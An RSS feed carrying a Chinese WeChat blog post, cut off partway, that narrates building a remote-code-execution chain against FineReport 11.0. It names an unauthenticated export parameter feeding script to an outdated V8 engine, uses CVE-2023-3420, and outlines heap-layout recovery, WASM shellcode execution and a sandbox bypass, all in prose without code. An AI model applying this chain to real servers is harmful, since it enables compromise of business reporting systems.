<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>漕河泾小黑屋</title>
    <link>https://wechat2rss.xlab.app/feed/f38c9a9f230e19f49918faefc5d0d0fc71e52d29.xml</link>
    <description>一个充满牛鬼蛇神的小黑屋&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (漕河泾小黑屋)</managingEditor>
    <pubDate>Mon, 18 May 2026 23:05:44 +0800</pubDate>
    <lastBuildDate>Mon, 18 May 2026 23:05:44 +0800</lastBuildDate>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM6OESCm4KUhiaTiaibiapIl3NepDKJaUdwNo49zsJOmowTw0A/0</url>
      <title>漕河泾小黑屋</title>
      <link>https://wechat2rss.xlab.app/feed/f38c9a9f230e19f49918faefc5d0d0fc71e52d29.xml</link>
    </image>
    <item>
      <title>崩溃后的重生-用概率博胜率</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4NzQwNzY3OQ==&amp;mid=2247484107&amp;idx=1&amp;sn=ac65749a9928a688d5d46a9a29837ca3</link>
      <description>一次 FineReport J2V8 引擎漏洞利用的完整记录连续搞崩一台服务器无数次，重启了无数轮，就为弹一个</description>
      <content:encoded><![CDATA[<p>原创 <span>黑屋牛马</span> <span>2026-05-18 23:05</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=820c266d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FTAFC5BLa6G3Bib7IQuFED5lokCZUVSugenMa3O90sPejn0MXmyF9e0C7KPe6PhLjQHNrD0gg6r9AocUO7an0ALXadoGe8ichGu0sDjc6Ft4DQ%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 1.3em;border-bottom: 2px solid rgb(239, 112, 96);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span style="box-sizing: border-box;display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">一次 FineReport J2V8 引擎漏洞利用的完整记录</span></span></h2><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-width: 1px medium medium;border-style: solid none none;border-color: black currentcolor currentcolor;border-image: initial;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">连续搞崩一台服务器无数次，重启了无数轮，就为弹一个计算器。但确实是这段时间干的事。</span></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-width: 1px medium medium;border-style: solid none none;border-color: black currentcolor currentcolor;border-image: initial;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">怎么发现的这个点</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">事情的起因很普通。拿到一套 FineReport 11.0 的环境，常规思路先看已知漏洞——反序列化、未授权接口、文件上传那些老路子。扫了一圈，该修的都修了，没什么直接能打的。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">转折点出现在翻 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">WEB-INF/lib</span></code><span leaf=""> 的时候。在 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">fine-third-11.0.jar</span></code><span leaf=""> 里发现了一个 15MB 的 DLL：</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">libj2v8-windows-x86_64.dll</span></code><span leaf="">。J2V8——Google V8 引擎的 Java 封装。再看同包里的类，</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">com.eclipsesource.v8</span></code><span leaf="">，完整的 V8 运行时。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这东西在帆软里干嘛？往上追调用链，找到 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">ScriptFormulaForJ2V8</span></code><span leaf="">——帆软的公式引擎，部分公式通过 V8 来执行 JavaScript。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">接下来就是确认版本。没有直接的版本接口，但通过 WebAssembly 支持情况、BigInt 特性、SharedArrayBuffer 等 API 的存在性做了指纹比对，再结合 DLL 的编译时间戳，锁定 V8 版本 </span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">11.4.183.11</span></strong><span leaf="">，Chromium 114 时期的产物。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">然后去翻这个版本区间的 CVE 列表——CVE-2023-3079、CVE-2023-3420，都在射程范围内。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">关键一步是找注入点。帆软的报表导出接口有个 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">exportJSXMLConf</span></code><span leaf=""> 参数，接受 XML 格式的导出配置。里面的 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">ScriptFormula</span></code><span leaf=""> 类型会把 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">&lt;Attributes&gt;</span></code><span leaf=""> 标签内的内容直接丢给 V8 执行，返回值作为导出文件名。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">一个未鉴权的导出接口 + 一个三年没更新的 V8 引擎。入口有了。</span></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-width: 1px medium medium;border-style: solid none none;border-color: black currentcolor currentcolor;border-image: initial;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">第一阶段：OOB 原语</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">CVE-2023-3420 的原理不复杂——TurboFan 在特定的原型链操作序列下，会错误地消除 StackCheck，导致类型混淆。精心构造 JIT 预热流程后，可以把一个数组的长度字段篡改成一个大数，拿到堆上几百字节的越界读写窗口。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">实际操作下来，这个触发器的脾气比想象中大得多。它依赖后台编译线程的竞争条件，函数体大小、变量声明方式、循环迭代次数这些东西稍微一动，JIT 的编译决策就变了，窗口直接消失。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">最后稳定下来的触发器大概 1200 字节。在刚重启的服务器上，首次请求基本 100% 触发。但只要往函数体里多塞任何东西——哪怕一个长一点的字符串字面量——就再也触发不了。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这个特性直接决定了后面所有的痛苦。</span></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-width: 1px medium medium;border-style: solid none none;border-color: black currentcolor currentcolor;border-image: initial;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">第二阶段：在黑暗中定位</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">有了 OOB 读，下一步是搞清楚堆上的布局。但 V8 用了指针压缩，所有堆地址都是 cage_base + 32位偏移。不知道 cage_base，读出来的数据就是一堆看不懂的碎片。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">最开始想的是频率统计——扫描 OOB 范围里所有 64 位值的高 32 位，出现最多的就是 cage。听起来有道理，实际打下去发现频率最高的往往是 malloc 分配的外部指针，不是 V8 堆地址。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这个问题卡了很久。转机来自崩溃日志。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">每次服务器崩溃，JVM 都会写一份 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">hs_err_pid</span></code><span leaf=""> 文件，里面有完整的寄存器状态和栈内存转储。我把几次崩溃的栈数据拉出来对比，发现了一个规律：正确的 cage 对应的指针条目，它们的压缩部分（低32位）高16位总是和 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">addrof</span></code><span leaf=""> 拿到的已知对象前缀一致。而那些干扰项——外部 backing_store 之类的——前缀完全不同。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">简单说就是：先通过 addrof 拿到一个已知对象的压缩指针前缀，再到 OOB 数据里找高16位匹配的条目，它对应的高32位就是 cage。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这个方法在后续的每一次崩溃日志里都得到了验证。</span></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-width: 1px medium medium;border-style: solid none none;border-color: black currentcolor currentcolor;border-image: initial;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">第三阶段：在崩溃中前进</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">利用链的后半段是教科书式的：OOB 改 ArrayBuffer 的 backing_store 实现任意地址读写，创建 WASM 实例拿到 RWX 页面，往里面写 shellcode，调用 WASM 函数触发执行。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">本地环境下，借助 Java 的 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">Unsafe</span></code><span leaf=""> 绕过 EPT 沙箱，整条链跑通了，calc 弹了。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 